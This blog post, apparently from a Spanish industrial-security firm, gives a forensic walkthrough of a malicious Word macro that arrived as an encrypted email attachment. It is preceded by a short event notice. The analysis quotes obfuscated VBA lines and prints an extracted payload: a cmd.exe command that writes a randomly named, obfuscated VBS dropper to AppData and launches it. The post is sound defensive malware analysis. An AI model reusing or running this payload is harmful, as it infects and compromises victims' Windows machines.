Beatriz González (GESTAMP), José Esmoris (CIE AUTOMOTIVE) Marc Segura
(ABB), Ana Montero (MICROSOFT EUROPA) y Borja Lanseros (Titanium industrial Security) expusimos nuestra visión y experiencia sobre la situación, futuro,
estrategias, claves, retos, en torno a la Industria conectada. Enrique Rodal moderó la tertulia.
Os dejamos el video que se grabó durante el evento.
Esperamos que sea de vuestro interes.
miércoles, 30 de noviembre de 2016
martes, 22 de noviembre de 2016
Macros Return
Buenas tardes,
Hace unos días, aprovechando un
correo extraño que le llegó al director general de uno de nuestros clientes,
desde Titanium Industrial Security asumimos el reto de realizar un análisis
forense del documento Word cifrado que se encontraba adjunto al mismo.
En la siguiente imagen se puede
observar un extracto del correo recibido, cuya redacción ya nos ofrece pistas
de que algo malo está ocurriendo:
Como
primer paso, en una máquina virtual Windows sin interfaz de red habilitada (con
el objetivo de minimizar el riesgo de infección) y con la aplicación Word
instalada, se procede a abrir el documento adjunto, aportando para ello las
credenciales que se proporcionan en el propio correo.
Como se puede observar, al abrir el documento se indica que el mismo cuenta con una serie de Macros embebidas que son necesarias habilitar para el correcto visionado del documento. Como siguiente paso, se procede a analizar las macros mediante el editor de Visual Basic for Applications (VBA) integrado en la suite de ofimática Office:
Como se puede ver en la anterior imagen, la macro embebida en el documento cuenta con 11 funciones bien diferenciadas. Procedemos a depurar el código existente, fijándonos en las partes más interesantes y obviando todo el código de relleno, práctica habitualmente utilizada para enmascarar las acciones realmente maliciosas. A modo de ejemplo, se puede observar como en la función “Q8Rw()” se crea una cadena de caracteres cuyo valor se encuentra prefijado en el código y como siguiente paso se eliminan de dicha cadena todos los caracteres “z” mediante la siguiente instrucción: “MZu3Xy1 = Split(GjcFB, O0IqPl((345382 / 2831)))”. Todo apunta que en el array “MZu3Xy1” se encuentra el payload malicioso a ejecutar por la macro en formato cadena de caracteres.
Además, como siguiente paso del análisis se observa que en el código también se declara un array de tipo Byte denominado “YCoCG” de tamaño 4611, que es rellenado mediante el siguiente juego de instrucciones:
Por otro lado, además, se observan otras tres instrucciones interesantes en el código analizado:
- "XE = T39uQ(YCoCG, EUDVP)”: Devuelve una cadena de caracteres a partir de dos arrays de Bytes.
- “Set WpSKcVDn = GetObject(T39uQ(Qw, KDTZPQrb))”: Devuelve una referencia al objeto proporcionado.
- “CallByName WpSKcVDn, T39uQ(Ejr, DLP), 2244 - 2242, XE”: Llamada a un objeto del sistema con una serie de argumentos.
En los siguientes apartados se
procede a explicar de forma resumida lo que realiza cada una de ellas, mediante
la depuración del código haciendo uso de breakpoints en el propio editor de
Visual Basic, acción que nos permite ir revisando paso por paso el comportamiento
de la Macro analizada.
Como primer punto, nos
centraremos sobre la instrucción “XE = T39uQ(YCoCG, EUDVP)”. Depurando paso por paso la instrucción,
podemos observar como en XE se almacena una cadena de caracteres maliciosa que
será pasada como argumento en la instrucción CallByName anteriormente
comentada. Para facilitarnos la extracción de la cadena, procedemos a modificar
el código de la Macro para que el contenido de XE se almacene en un fichero de
texto externo (payload.txt), permitiendo su análisis pormenorizado más
adelante:
En el siguiente extracto podemos observar una
parte del contenido del fichero payload.txt:
"cmd.exe /V /C set
""ENIyIH=%APPDATA%\%RANDOM%.vbs"" && (for %i in
(""dIm BDIB"" ""suB JDexD0I()""
""FYjpt2=14"" ""Dim E8e9SPN,OmGAME""
""FZ8=47"" ""For E8e9SPN = 12 To
7000293"" ""OmGAME = DHsCG + 5 + 6 + 3""
""Next"" ""X8qGIX=91"" ""enD
sUb"" ""Sub C62a2nu(AM01Lc)""
""BF0sUz=62"" ""dIm PQR5oba""
""RYXVmam=37"" ""PQR5oba=TIMer+AM01Lc""
""U5JKNNiX=1"" ""dO WHIle tIMEr<PQR5oba""
""LOop"" ""Lhk=14"" ""EnD
SUb"" ""FunCTiON W8(NNknoGX)""
""QM=5"" ""W8=CHr(NNknoGX)""
""Rqb=89"" ""EnD FUnctIOn""
""VlU=71"" ""UGTTGNku""
""FuNcTIoN ItNJH9(ADRh,Beaz53)""
""QXh=35"" ""DIm Q9dyE,AQL,Dq4AizA""
""KEN=77"" ""foR Q9dyE=1 To (lEN(ADRh)/2)""
""AQL=(W8((339758/8941)) &
W8((7090-7018))&(miD(ADRh,(Q9dyE+Q9dyE)-1,2)))""
""Dq4AizA=(JlGkpf(MiD(Beaz53,((Q9dyE MOd
Len(Beaz53))+1),1)))""
""ItNJH9=ItNJH9+W8(GL2(AQL,Dq4AizA))""
""nExt"" ""RdJ=57"" ""ENd
functIoN"" ""fUnctiOn L0fUbgb(QY)""
""CvCtuT9Y=33"" ""sEt
L0fUbgb=CREAteoBjecT(QY)"" ""Jt6Q=90""
""EnD funCtion"" ""sUB S42jx""
""WyDNa=29"" ""dim X3vken3b""
""N7CVo=92"" ""X3vken3b =
ItNJH9(""5505057D53100473192B41235F0606730E46597D0E4659731B0641610358416D1606143F"",""S6ha"")""
""IO=38"" ""MjcXt X3vken3b,7779-7778""
""Kfp1=59"" ""End suB""
""fUnctiON JlGkpf(Ll)"" ""Aw=41""
""JlGkpf=ASc(Ll)"" ""QxZRyL=47""
""eNd FUncTiOn"" ""fuNctIoN
MjcXt(VG,Kh0zT)"" ""N4j39n=90"" ""dim
RUrnVpd"" ""MjX2hNol=17"" ""sEt
RUrnVpd=L0fUbgb(ItNJH9(""3A1C1B353D1D1B56143C080314"",""TmoxG""))""
""NIhHq=5"" ""RUrnVpd.RUn
VG,2143-2143,Kh0zT""
…
do @echo
%~i)>""!ENIyIH!"" && start
"""" ""!ENIyIH!"""
En el extracto anterior, vemos
como se realiza una llamada a la Shell de Windows (cmd.exe) con opciones /V /C
fijadas, con el objetivo de crear una variable de entorno denominada “ENIyIH” apuntando
a un script de Visual Basic (VBS) de nombre aleatorio en el directorio del
sistema “AppData” cuyo código comienza por “(for %i in”, y una vez realizado lo
anterior, ejecutar dicho script mediante la llamada: start “!ENIyIH!”.
En lo que se refiere a la
depuración paso por paso de la instrucción “Set WpSKcVDn = GetObject(T39uQ(Qw,
KDTZPQrb))”, finalmente podemos observar
que “WpSKcVDn” contiene una referencia al objeto “Win32_Process”. En la siguiente imagen se puede observar un
ejemplo de su contenido:
Por último, en relación a la
función “CallByName WpSKcVDn, T39uQ(Ejr, DLP), 2244 - 2242, XE”, al igual que ocurrió
con anterioridad procedemos a modificar el código de la Macro para evitar que
al depurar el código se ejecute la instrucción, ya que es la que realmente
realiza la acción maliciosa sobre el equipo Windows en cuestión:
Como se observa en la imagen, se ha comentado la función CallByName para evitar que se ejecute la instrucción, y se define en el código la cadena “nombre_proceso” cuyo contenido (“Create”) es el primer argumento que le pasa el atacante al objeto Win32_Process.
Recapitulando, en síntesis, la
acción maliciosa que ejecuta la Macro analizada es crear y ejecutar en el
sistema un script de Visual Basic (VBS) de nombre aleatorio cuyo contenido se
encuentra en la variable “XE”.
Por otro lado, en la siguiente
evidencia se muestra el análisis de la Macro realizado por una de las
herramientas online más utilizada en la actualidad para la identificación de
ficheros maliciosos, como es Virustotal, en la que se puede ver que el ratio de
detección fue muy pobre en el momento que se realizó nuestro análisis, ya que
únicamente fue detectada como maliciosa por 2 de 54 antivirus:
En el siguiente post de esta
entrada dedicada a métodos de infección basados en Macros, analizaremos el
código del script Visual Basic generado por la Macro estudiada durante este
post. De todas formas, para ir abriendo boca, se muestra el análisis del mismo
realizado por la herramienta Virustotal, en el que se puede observar que el
ratio de detección también fue bajo:
Un saludo.
Suscribirse a:
Entradas (Atom)